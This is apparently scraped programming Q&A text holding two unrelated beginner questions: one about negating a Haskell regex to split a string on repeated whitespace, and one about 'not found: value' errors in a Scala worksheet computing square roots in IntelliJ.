getAllTextMatches $ "foobar bar bl a" =~ "(\\s\\s+)" :: [String]
which returns me this list as expected:
[" "," "," "]
Now I tried to negate the expression the following way
getAllTextMatches $ "foobar bar bl a" =~ "(?!\\s\\s+)" :: [String]
which returned
[""]
whereas I wanted to receive this:
["foobar", "bar", "bl", "a"]

scala - error: not found: value

I newly at scala and tried to pass some easy scala worksheet.
IDE is Intellij IDEA community edition and OS Ubuntu 12.04, sbt was
installed correctly.
But it throws error - error: not found: value
OI can't understand why this happen:
Code:
object session {
1 + 2
def sqrtIter(guess: Double, x: Double): Double =
if (isGoodEnough(guess, x)) guess
else sqrtIter(improve(guess, x), x)
def isGoodEnough(guess: Double, x: Double) =
abs(guess * guess - x) < 0.001
def improve(guess: Double, x: Double) =
(guess + x / guess) / 2
def sqrt(x: Double) = sqrtIter(1.0, x)
sqrt(2)
sqrt(4)
}
Output from right side of screen:
> res0: Int = 3
> <console>:8: error: not found: value isGoodEnough
if (isGoodEnough(guess, x)) guess else
sqrtIter(improve(guess, x), x)
^
<console>:8: error: not found: value improve
if (isGoodEnough(guess, x)) guess else
sqrtIter(improve(guess, x), x)
^
> <console>:8: error: not found: value abs
abs(guess * guess - x) < 0.001
^
> improve: (guess: Double, x: Double)Double
> <console>:7: error: not found: value sqrtIter
def sqrt(x: Double) = sqrtIter(1.0, x)
^
> <console>:8: error: not found: value sqrt
sqrt(2)
^
> <console>:8: error: not found: value sqrt
sqrt(4)
Any suggestions?
